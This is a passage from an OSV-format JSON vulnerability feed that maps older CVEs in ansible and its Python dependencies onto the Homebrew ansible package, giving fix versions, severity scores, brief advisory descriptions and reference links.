vulnerability in the `lxml.html.clean` module in lxml before 3.3.5 allows remote attackers to conduct cross-site scripting (XSS) attacks via control characters in the link scheme to the `clean_html` function.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3146"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/273"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/3f3082e0a67851cde26a48da3d1f4b75d8aa07ec"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86e81ab393ba14c1be71284675851a3bdce57d69"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/e86b294f1f81b899a59925123560ff924a72f1cc"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2014-9.yaml"},{"type":"WEB","url":"https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html"},{"type":"WEB","url":"https://web.archive.org/web/20140724172044/http://secunia.com/advisories/58013"},{"type":"WEB","url":"https://web.archive.org/web/20140805110535/http://secunia.com/advisories/59008"},{"type":"WEB","url":"https://web.archive.org/web/20140806061046/http://secunia.com/advisories/58744"},{"type":"WEB","url":"https://web.archive.org/web/20141017122607/https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html"},{"type":"WEB","url":"https://web.archive.org/web/20150523055039/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:112/?name=MDVSA-2015:112"},{"type":"WEB","url":"https://web.archive.org/web/20200228180542/http://www.securityfocus.com/bid/67159"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0218.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2014-05/msg00083.html"},{"type":"WEB","url":"http://lxml.de/3.3/changes-3.3.5.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2014/Apr/210"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2014/Apr/319"},{"type":"WEB","url":"http://www.debian.org/security/2014/dsa-2941"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/05/09/7"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2217-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2017-2","CVE-2014-3498","GHSA-4cvm-5776-jx9f"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The user module in ansible before 1.6.6 allows remote authenticated users to execute arbitrary commands.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4cvm-5776-jx9f"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `"deb http://user:pass@server:port/"` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2020-202","CVE-2014-4660","GHSA-5xm4-jmpw-p6j3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in sources.list, which might allow local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the \"deb http://user:pass@server:port/\" format.","references":[{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5xm4-jmpw-p6j3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2020-203","CVE-2014-4678","GHSA-66c7-5pwv-mm3j"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","references":[{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-66c7-5pwv-mm3j"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4966","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2020-204","CVE-2014-4966","GHSA-wqq5-c89p-3wc3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"ADVISORY","url":"http://www.ocert.org/advisories/ocert-2014-004.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wqq5-c89p-3wc3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2020-205","CVE-2014-4967","GHSA-64cw-m57j-65xj"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"ADVISORY","url":"http://www.ocert.org/advisories/ocert-2014-004.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-64cw-m57j-65xj"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-7144","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-7f2c-vp52-gmfw","CVE-2014-7144","PYSEC-2014-26","PYSEC-2014-71"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack keystonemiddleware does not verify certificate","details":"OpenStack keystonemiddleware (formerly python-keystoneclient) 0.x before 0.11.0 and 1.x before 1.2.0 disables certification verification when the \"insecure\" option is set in a paste configuration (`paste.ini`) file regardless of the value, which allows remote attackers to conduct man-in-the-middle attacks via a crafted certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7144"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1353315"},{"type":"WEB","url":"https://github.com/openstack/ossa/blob/23e15de721f4a6890374a231d93524e02965a97f/ossa/OSSA-2014-030.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/keystonemiddleware/PYSEC-2014-26.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-71.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200228053850/http://www.securityfocus.com/bid/69864"},{"type":"WEB","url":"https://web.archive.org/web/20200228060511/https://www.securityfocus.com/bid/69864"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1783.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1784.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-0020.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/09/25/51"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2705-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-7231","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-v933-vx5p-j7w2","CVE-2014-7231","PYSEC-2026-892"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.0","resource":"oslo-utils","resource_purl":"pkg:pypi/oslo-utils@10.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oslo-utils","subject_version":"10.2.0","key":"pkg:pypi/oslo-utils@10.2.0","resource":"oslo-utils"}]},"summary":"OpenStack Oslo utility sensitive information exposure via log files","details":"The strutils.mask_password function in the OpenStack Oslo utility library, Cinder, Nova, and Trove before 2013.2.4 and 2014.1 before 2014.1.3 does not properly mask passwords when logging commands, which allows local users to obtain passwords by reading the log.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7231"},{"type":"WEB","url":"https://bugs.launchpad.net/oslo.utils/+bug/1345233"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/96726"},{"type":"PACKAGE","url":"https://github.com/openstack/oslo.utils"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-1939.html"},{"type":"WEB","url":"http://seclists.org/oss-sec/2014/q3/853"},{"type":"WEB","url":"http://www.securityfocus.com/bid/70184"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-1852","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-p9wq-mjh8-q72m","CVE-2015-1852","PYSEC-2015-30","PYSEC-2015-31"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.4.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack keystonemiddleware and python-keystoneclient vulnerable to man-in-the-middle attacks","details":"The s3_token middleware in OpenStack keystonemiddleware before 1.6.0 and python-keystoneclient before 1.4.0 disables certification verification when the \"insecure\" option is set in a paste configuration (paste.ini) file regardless of the value, which allows remote attackers to conduct man-in-the-middle attacks via a crafted certificate, a different vulnerability than CVE-2014-7144.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-1852"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2015:1677"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2015:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2015-1852"},{"type":"WEB","url":"https://bugs.launchpad.net/keystonemiddleware/+bug/1411063"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1209527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/keystonemiddleware/PYSEC-2015-30.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2015-31.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200228060649/http://www.securityfocus.com/bid/74187"},{"type":"WEB","url":"http://lists.openstack.org/pipermail/openstack-announce/2015-April/000350.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-1677.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2015-1685.html"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/bulletinapr2015-2511959.html"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2705-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-2296","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-pg2w-x9wp-vw92","CVE-2015-2296","PYSEC-2015-17"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Python Requests Session Fixation","details":"The `resolve_redirects` function in sessions.py in requests 2.1.0 through 2.5.3 allows remote attackers to conduct session fixation attacks via a cookie without a host value in a redirect.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-2296"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/commit/3bd8afbff29e50b38f889b2f688785a669b9aafc"},{"type":"WEB","url":"https://github.com/psf/requests/commit/3bd8afbff29e50b38f889b2f688785a669b9aafc"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2015-17.yaml"},{"type":"WEB","url":"https://warehouse.python.org/project/requests/2.6.0"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2015-0120.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153594.html"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/03/14/4"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/03/15/1"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2531-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-3206","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle 